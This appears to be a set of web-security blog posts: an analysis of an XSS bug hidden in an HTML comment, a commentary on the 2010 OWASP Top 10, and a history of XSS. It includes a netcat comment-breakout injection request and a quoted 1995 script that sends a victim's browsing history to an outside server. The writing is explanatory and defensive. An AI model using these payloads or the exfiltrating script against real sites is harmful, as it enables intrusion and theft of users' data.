• Here’s a case where a page has one of the simplest types of XSS vulns: A server echoes the querystring verbatim in the HTTP response. The payload shows up inside an HTML comment labeled “Request Query String”. The site’s developers claim the comment prevents XSS because browsers will not execute the JavaScript, as below:

    <!-- _not gonna' happen_ -->

    One exploit technique would be to terminate the comment opener with “ –>” (space dash dash >). Use netcat to make the raw HTTP request (for some reason, though likely related to the space, the server doubles the payload1):

    $ echo -e "GET /nexistepas.cgi? --> HTTP/1.0\r\nHost: vuln.site\r\n" | nc vuln.site 80 | tee response.html
    <!-- === Request URI: /abc/def/error/404.jsp -->
    <!-- === Request Query String: pageType=error&emptyPos=100&isInSecureMode=false& --> --> -->
    <!-- === Include URI: /abc/def/cmsTemplates/def_headerInclude_1_v3.jsp -->

    You can confirm this works by viewing the HTML source in Mozilla to see its syntax highlighting pick up the tags (yes, you could just as easily pop an alert window).

    html injection

    The server is clearly vulnerable to XSS because it renders the exact payload. The HTML comments were a poor countermeasure because they could be easily closed by including a few extra characters in the payload. This also shows why I prefer the term HTML injection since it describes the underlying effect more comprehensively.

    However, there’s a major problem of effective exploitability: The attack uses illegal HTTP syntax.2 Though the payload works when sent with netcat, a browser applies URL encoding to the payload’s important characters, thereby rendering the it ineffective because the payload loses the literal characters necessary to modify the HTML:

    https://vuln.site/nexistepas.cgi? -->
    <!-- === Request URI: /abc/def/error/404.jsp -->
    <!-- === Request Query String: pageType=error&emptyPos=100&isInSecureMode=false&%20--%3e%3cscript%3e%3c/script%3e -->
    <!-- === Include URI: /abc/def/cmsTemplates/def_headerInclude_1_v3.jsp -->

    I tried Mozilla’s XMLHttpRequest object to see if it might subvert the encoding issue, but didn’t have any luck. Browsers are smart enough to apply URL encoding for all requests, thus defeating this possible trick:

    var req = new XMLHttpRequest();
    req.open('GET', 'https://vuln.site/nexistepas.cgi? --><scri' + 'pt></s' + 'cript>', false);

    The developers are correct to claim that HTML comments prevent <script> tags from being executed, but that has nothing to do with protecting this web site. It’s like saying you can escape Daleks by using the stairs; they’ll just level the building.

    Daleks cartoon

    The page’s only protection comes from the fact that browsers will always encode the space character. If the page were to decode percent-encoded characters or there was a way to make the raw request with a space, then the page would be trivially exploited. The real solution for this vuln is to apply HTML encoding or percent encoding to the querystring when it’s written to the page.

    Set aside whether the vuln is exploitable or not. The 404 message in this situation clearly has a bug. Bugs should be fixed.

    The time spent arguing over risks, threats, and feasibility far outweighs the time required to create a patch. If the effort of pushing out a few lines of code cripples your development process, then it’s probably a better idea to put more effort into figuring out why the process is broken.

    Notice that I didn’t mention the timeline for the patch. The release cycle might require a few days or a few weeks to validate the change. On the other hand, if minor changes cause panic about uptime and require months to test and apply, then you don’t have a good development process – and that’s something far more hazardous to the app’s long-term security.

    1. Weird behavior like this is always interesting. Why would the querystring be repeated? What implications does this have for other types of attacks? 

    2. Section 5.1 of RFC 2616 specifies the format of a request line must be as follows (SP indicates whitespace characters): Request-Line = Method SP Request-URI SP HTTP-Version CRLF Including spurious space characters within the request line might elicit errors from the web server and is a worthy test case, but you’ll be hard-pressed to convince a standards-conformant browser to include a space in the URI. 

    • • •
  • Letter O

    One curious point about the new 2010 OWASP Top 10 Application Security Risks is that only 3 of them aren’t common. The “Weakness Prevalence” for each of Insecure Cryptographic Storage (A7), Failure to Restrict URL Access (A8), and Unvalidated Redirects and Forwards (A10) is rated uncommon. That doesn’t mean that an uncommon risk can’t be a critical one. These three items highlight the challenge of producing a list with risks that often lack context.

    Risk is difficult to quantify. The OWASP Top 10 includes a What’s My Risk? section with guidance on how to interpret the list. That guidance is based on the experience of people who perform penetration tests, code reviews, and research web security.

    The Top 10 rates Insecure Cryptographic Storage (A7) as an uncommon prevalence and difficult to detect. One of the reasons it’s hard to detect is that datastores can’t be reviewed by external scanners nor can source code scanners identify these problems other than by indicating misuse of a language’s crypto functions. Thus, one interpretation is that insecure crypto is uncommon because more people haven’t discovered such problems. Yet not salting a password hash is one of the most egregious mistakes a dev can make while also being one of the easier problems to fix. The practice of salting password hashes has been around since Unix epoch time was in single digits.

    It’s also interesting that insecure crypto is the only one on the list that’s rated difficult to detect. Conversely, Cross-Site Scripting (A2) is “very widespread” and “easy” to detect. But maybe it’s very widespread because it’s so trivial to find. People might simply choose to search for vulns that require minimal tools and skill to identify. On the other hand, XSS might be very widespread because it’s not easy to find in a way that scales with large apps or complex workflows in apps. Of course, this also assumes someone’s looking for it in the first place.

    Broken Authentication and Session Management (A3) covers brute force attacks against login pages. It’s an item whose risk is too-often demonstrated by real-world attacks. In 2010 the Apache Foundation suffered an attack that relied on brute forcing a password. Apache’s network had a similar password-related intrusion in 2001. (I mention these because of the clarity of their postmortems, not to insinuate that the Apache foundation inherently insecure.) In 2009, another password guesser found happiness with Twitter.

    Knowing an account’s password is the best way to steal a user’s data and gain unauthorized access to a site. The only markers for an attacker using valid credentials are behavioral patterns -– time of day, duration of activity, geographic source of the connection, and so on. The attacker doesn’t have to use any malicious characters or techniques like those that needed for XSS or SQL injection.

    The impact of a compromised password is similar to how CSRF (A5) works. The nature of a CRSF attack is to force a victim’s browser to make a request to the target app using the context of the victim’s authenticated session. For example, a CSRF attack might change the victim’s password to a value chosen by the attacker, or update the victim’s email to one owned by the attacker.

    By design, browsers make many requests without direct interaction from a user, such as loading images, CSS, JavaScript, and iframes. CSRF requires the victim’s browser to visit a booby-trapped page, but doesn’t require the victim to interact with that page. The target web app neither sees the attacker’s traffic nor even suspects the attacker’s activity because all of the interaction occurs between the victim’s browser and the app.

    CSRF serves as a good example of the changing nature of the web security industry. CSRF vulns have existed as long as the web. The attack takes advantage of the fundamental nature of HTML and HTTP whereby browsers automatically load certain types of resources. Importantly, the attack just needs to build a request. It doesn’t need to read a response. It isn’t inhibited by the Same Origin Policy.

    CSRF hopped on the Top 10 list’s revision in 2007, four years after the list’s first appearance. It’s doubtful that CSRF vulns were any more or less prevalent over that four year period. Its inclusion was due to having a better understanding of the vuln and appreciation of its potential impacts. It has a risk that’s likely to increase when the pool of victims can be measured in the hundreds of millions rather than the hundreds of thousands.

    This vuln also highlights an observation bias of appsec. Now that CSRF is in vogue people start to look for it everywhere. Security conferences get more presentations about advanced ways to exploit it, even though real-world attackers seem fine with the succes of guessing passwords, seeding web pages with malware, and phishing.

    A knowledgeable or dedicated attacker will find a useful exploit. Risk can include many factors, including Threat Agents (to use the Top 10’s term). Risk increases under a targeted attack – someone actively looking to compromise the app or its users’ data. If you want to add an “Exploitability” metric to your risk estimate, keep in mind that ease of exploitability is often related to the threat agent and tends to be a step function. It might be hard to craft an exploit in the first place, but anyone can run a 42-line Python script that automates an attack.

    That’s partially why the Top 10 list should be a starting point to defining security practices for your app, but it shouldn’t be the end of the road. Even the OWASP site warns readers against using the list for policy rather than awareness. If you’ve been worried about information leakage and improper error handling since 2007, don’t think the problem has disappeared because it’s not on the list in 2010.

    If you’ve been worried about how to build a secure app, don’t rely on the OWASP Top 10 – it’ll tell you weaknesses to avoid, but falls short on patterns to create.

    For more about the OWASP Top 10’s history and possible future, check out this article.

    • • •
  • Johnny Mnemonic movie poster

    The Hacking Web Apps book covers HTML Injection and cross-site scripting (XSS) in Chapter 2. Within the restricted confines of the allotted page count, it describes one of the most pervasive attacks that plagues modern web applications.

    Yet XSS is old. Very, very old. Born in the age of acoustic modems and barely a blink after the creation of the web browser.

    Early descriptions of the attack used terms like “malicious HTML” or “malicious JavaScript” before the phrase “cross-site scripting” became canonized by the OWASP Top 10.

    While XSS is an easy point of reference, the attack could be more generally called HTML injection because an attack does not have to “cross sites” or rely on JavaScript to be successful. The infamous Samy attack didn’t need to leave the confines of MySpace (nor did it need to access cookies) to effectively DoS the site within 24 hours. Persistent XSS may be just as dangerous if an attacker injects an iframe to a malware site – no JavaScript required.

    Here’s one of the earliest references to the threat of XSS from a message to the comp.sys.acorn.misc newsgroup on June 30, 19961. It mentions only a handful of possible outcomes:

    Another ‘application’ of JavaScript is to poke holes in Netscape’s security. To anyone using old versions of Netscape before 2.01 (including the beta versions) you can be at risk to malicious Javascript pages which can

    a) nick your history

    b) nick your email address

    c) download malicious files into your cache and run them (although you need to be coerced into pressing the button)

    d) examine your filetree.

    From that message we can go back several months to the announcement of Netscape Navigator 2.0 on September 18, 1995. A month later Netscape created a “Bugs Bounty” starting with its beta release in October. The bounty offered rewards, including a $1,000 first prize, to anyone who discovered and disclosed a security bug within the browser. A few weeks later the results were announced and first prize went to a nascent JavaScript hack.

    The winner of the bug hunt, Scott Weston, posted his find to an Aussie newsgroup. This was almost 15 years ago on December 1, 1995 (note that LiveScript was the precursor to JavaScript):

    The “LiveScript” that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file.

    Scott, faithful to hackerdom tenets, included a nod to pop-culture in his description of the sensitive data extracted about the unwitting victim2:

    - the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password.

    - The exact search params he used on Lycos (i.e. exactly what he searched for)

    - plus any other places he happened to visit.

    HTML injection targets insecure web applications. These were examples of how a successful attack could harm the victim rather than how a web site was hacked. Browser security is important to mitigate the impact of such attacks, but a browser’s fundamental purpose is to parse and execute HTML and JavaScript returned by a web application – a dangerous prospect when the page is laced with malicious content inserted by an attacker.

    The attack is almost indistinguishable from a modern payload. A real attack might only have used a more subtle <img> or <iframe> as opposed to changing the location.href:

    <SCRIPT LANGUAGE="LiveScript">
    i = 0
    yourHistory = ""
    while (i < history.length) {
      yourHistory += history[i]
      if (i < history.length)
        yourHistory += "^"
    location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?" + yourHistory
    <!-- hahah here is the hidden script -->

    The actual exploit reflected the absurd simplicity typical of XSS attacks. They often require little effort to create, but carry a significant impact.

    Before closing let’s take a tangential look at the original $1,000 “Bugs Bounty”. The Chromium team offers $500 and $1,3373 rewards for security-related bugs. The Mozilla Foundation offers $500 and a T-Shirt.

    (In 2023, these amounts reach even higher into the $20,000 and $40,000 range.)

    On the other hand, you can keep the security bug from the browser developers and earn $10,000 and a laptop for a nice, working exploit.

    All of those options seem like a superior hourly rate to writing a book.

    1. Netscape Navigator 3.0 was already available in April of the same year. 

    2. Good luck tracking down the May 1981 issue of Omni Magazine in which William Gibson’s short story first appeared! 

    3. No, the extra $337 isn’t the adjustment for inflation from 1995, which would have made it $1,407.72 according to the Bureau of Labor and Statistics. It’s a nod to leetspeak. 

    • • •